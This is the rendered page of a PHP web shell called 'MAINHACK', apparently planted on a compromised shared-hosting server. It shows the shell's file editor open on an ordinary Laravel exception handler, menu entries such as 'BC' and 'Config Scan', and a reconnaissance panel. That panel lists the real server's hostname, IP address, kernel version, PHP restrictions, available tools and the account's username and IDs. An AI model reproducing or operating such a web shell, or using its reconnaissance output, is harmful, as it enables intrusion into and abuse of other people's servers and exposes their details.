[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Handler.php
<?php namespace App\Exceptions; use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler; use Throwable; use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Http\Response; use Illuminate\Validation\ValidationException; use Symfony\Component\HttpKernel\Exception\HttpException; use Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; class Handler extends ExceptionHandler { /** * A list of the exception types that are not reported. * * @var array */ protected $dontReport = [ // ]; /** * A list of the inputs that are never flashed for validation exceptions. * * @var array */ protected $dontFlash = [ 'password', 'password_confirmation', ]; /** * Report or log an exception. * * @param \Throwable $exception * @return void * * @throws \Exception */ public function report(Throwable $exception) { parent::report($exception); } /** * Render an exception into an HTTP response. * * @param \Illuminate\Http\Request $request * @param \Throwable $exception * @return \Symfony\Component\HttpFoundation\Response * * @throws \Throwable */ public function render($request, Throwable $exception) { if ($request->is('api/*')) { return $this->renderApi($request, $exception); } return parent::render($request, $exception); } public function renderApi($request, Throwable $e) { if ($e instanceof MethodNotAllowedHttpException) { $status = Response::HTTP_METHOD_NOT_ALLOWED; $e = new MethodNotAllowedHttpException([], 'HTTP_METHOD_NOT_ALLOWED', $e); } elseif ($e instanceof NotFoundHttpException) { $status = Response::HTTP_NOT_FOUND; $e = new NotFoundHttpException('HTTP_NOT_FOUND', $e); } elseif ($e instanceof AuthorizationException) { $status = Response::HTTP_FORBIDDEN; $e = new AuthorizationException('HTTP_FORBIDDEN', $status); } elseif ($e instanceof \Dotenv\Exception\ValidationException && $e->getResponse()) { $status = Response::HTTP_BAD_REQUEST; $e = new \Dotenv\Exception\ValidationException('HTTP_BAD_REQUEST', $status, $e); } elseif ($e instanceof ValidationException && $e->getResponse()) { return $e->getResponse(); } else { if (env('APP_DEBUG')) { return parent::render($request, $e); } $status = Response::HTTP_INTERNAL_SERVER_ERROR; $e = new HttpException($status, 'HTTP_INTERNAL_SERVER_ERROR'); } return response()->json([ 'success' => false, 'status' => $status, 'message' => $e->getMessage() ], $status); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285